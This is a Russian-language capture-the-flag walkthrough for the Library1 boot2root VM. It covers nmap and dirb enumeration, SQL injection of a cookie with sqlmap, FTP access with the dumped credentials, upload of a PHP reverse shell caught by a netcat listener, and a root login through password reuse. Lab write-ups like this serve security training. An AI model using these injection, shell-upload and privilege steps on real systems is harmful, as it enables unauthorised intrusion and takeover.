Сегодня мы собираемся принять новый вызов Library1, который является первой лабой из серии Library.
Создание этой виртуальной машины принадлежит «Аврааму Коэну», и это задача boot2root, где мы должны получить root права на сервер для выполнения задачи.
Вы можете скачать эту ВМ здесь.
Методология тестирования на проникновение:
- Сканирование
- Netdiscover
- NMAP
- Перечисление
- Web Directory Search
- Burpsuite
- Эксплуатация
- Sqlmap
- FTP
- Shell Upload
- Netcat
- Повышение привилегий
- Повторное использование пароля root
Давайте начнем с процесса сканирования.
Эта целевая виртуальная машина автоматически взяла IP-адрес 192.168.1.103 из нашей локальной сети Wi-Fi.
Мы использовали наш любимый инструмент Nmap для сканирования портов.
Мы обнаружили, что порты 21 и 80 открыты.
|
nmap –A 192.168.1.103
|
Перечисление
Как мы видим, порт 80 открыт, мы открыли IP-адрес в нашем браузере, но не нашли ничего полезного на веб-странице.
Это просто дефолтная страничка приветствия Apache.
Во-первых, мы пробовали dirb в режиме по умолчанию, но не нашли ни одного каталога.
Затем мы посмотрели файлы с расширением .php и получили один каталог /library.php
|
dirb http://192.168.1.103 -X .php
|
Получив доступ к URL-адресу http://192.168.1.103/library.php, мы получили веб-страницу с названием нескольких стран.
Мы подумали о захвате запроса с использованием пакета burp, и в разделе cookie есть последний просмотренный параметр.
И если вы помните, создатель дал подсказку искать историю стран.
Помня об этом, мы расшифровали содержимое параметра «lastviewed», используя вкладку декодера burpsuite.
Эксплуатация:
Параметр cookie может быть уязвим для инъекции SQL, поэтому мы поместили the * в захваченный запрос и сохранили файл как file.txt.
Затем мы использовали sqlmap с файлом file.txt для поиска любых баз данных и получили базу данных с именем library.
sqlmap –r file.txt —dbs –batch —risk 3 —level 5
|
Далее перечисляем базу данных library по именам пользователей и паролям.
sqlmap –r file.txt –D library —dump–all —batch
|
Мы нашли имя пользователя globus и пароль AroundTheWorld для службы ftp.
Мы подключились к целевой системе через ftp, но не смогли найти что-то полезное, и мы также не смогли отследить файл library.php.
1
2
3
|
ftp 192.168.1.103
cd /var/www/html
ls
|
Итак, мы взяли php-reverse-shell из /usr/share/webshells/php и изменили IP-адрес слушателя на наш и назвали его shell.php.
Затем мы загрузили оболочку в целевую систему с помощью команды put и дали ей права на выполнение.
1
2
|
put shell.php
chmod 777 shell.php
|
Теперь мы выполнили оболочку, просто перейдя по URL-адресу http://192.168.1.103/shell.php и одновременно запустив прослушиватель netcat на нашей машине Kali.
Повышение привилегий:
Мы успешно получили сеанс netcat с ограниченными правами пользователя.
Заглянув в файл library.php с помощью cat, мы получим учетные данные базы данных.
1
2
3
4
|
nc –lvp 1234
python –c ‘import pty;pty.spawn(“/bin/bash”)’
cd /var/www/html
cat library.php
|
Мы проверили повторное использование пароля для пользователя root и успешно смогли войти в систему как root.
1
2
|
su root
id
|